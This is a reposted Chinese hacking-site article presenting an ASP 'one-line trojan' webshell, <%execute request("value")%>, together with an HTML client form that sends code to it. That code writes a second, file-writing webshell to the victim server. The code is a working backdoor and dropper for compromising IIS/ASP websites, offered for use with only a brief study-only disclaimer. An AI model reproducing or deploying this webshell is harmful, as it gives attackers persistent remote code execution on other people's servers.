欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

玄猫的一句话木马

来源:http://blog.blackwoods.cn/ 作者:玄猫 时间:2005-03-04 TAG: 我要投稿
来用NBSI的上传功能上传发现他把所有的语句都重复写了,于是琢磨用一句话木马可以……

客户端:

<%execute request("value")%>

服务端:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Daniel's Excuter</title>
<style type="text/css">
<!--
body {
 background-color: #333333;
}
.Text1 {
 font-size: 12pt;
 color: #FFFFFF;
 filter: DropShadow(Color=#ff0000, OffX=2, OffY=2, Positive=1);
 font-weight: bold;
 font-family: "Times New Roman", Times, serif;
}
.Text2 {
 font-size: 9pt;
 color: #CCCCCC;
 filter: DropShadow(Color=#ff0000, OffX=2, OffY=2, Positive=1);
 font-weight: normal;
}
body,td,th {
 font-size: 9pt;
 color: #FFFFFF;
}
a:link {
 color: #CCCCCC;
 text-decoration: underline;
}
a:visited {
 text-decoration: underline;
 color: #FFFFFF;
}
a:hover {
 text-decoration: none;
 color: #999999;
}
a:active {
 text-decoration: underline;
 color: #FF6600;
}
.input {
 font-size: 10pt;
 color: #FFFFFF;
 background-color: #333333;
 border: 1px dashed;
}
-->
</style></head>

<body>
<form name="form1" method="post" action="" >
  <table width="500" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="border-top: 1px dashed #FFFFFF; border-right: 1px dashed #EEEEEE; border-bottom: 1px dashed #EEEEEE; border-left: 1px dashed #FFFFFF;" >
          <tr>
            <td height="50" colspan="2" align="center" bgcolor="#000000" class="Text1">Daniel's Excuter</td>
       </tr>
          <tr>
            <td height="30" align="center" valign="top" bgcolor="#000000" class="Text1"><p>马的地址:</p></td>
            <td width="408" height="30" align="left" valign="middle" bgcolor="#000000" class="Text2">              <input name="turl" type="text" class="input" id="turl" size="50">         </td>
       </tr>
          <tr>
            <td align="center" valign="top" bgcolor="#000000" class="Text1">马的内容:</td>
               <td align="left" valign="middle" bgcolor="#000000" class="Text1"><br>
            <textarea name="ak47" cols="50" rows="20" class="input" id="ak47">
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
<% Response.write "本文件绝对路径" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "<br>" %>
<% Response.write "输入马的内容:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=保存>" %>
<% Response.write "</form>" %>
            </textarea>            </td>
          </tr>
          <tr>
            <td align="center" valign="top" bgcolor="#000000" class="Text1">执行内容:</td>
            <td align="left" valign="bottom" bgcolor="#000000"><br>
         <textarea name="value" cols="50" rows="12" class="input" id="value">dim strfilename
strfilename = "ak47.asp"
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("ak47")
lP.SaveToFile server.mappath(strfilename),2 
lP.Close
set lP=nothing
response.redirect(strfilename)</textarea></td>
       </tr>
          <tr>
            <td colspan="2" align="center" valign="top" bgcolor="#000000" class="Text1"><br>
         <input name="Submit" type="button" class="input" value="Just Do It" >
         <br>
         <br></td>
          </tr>
          </table>
</form>
</body>
</html>

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载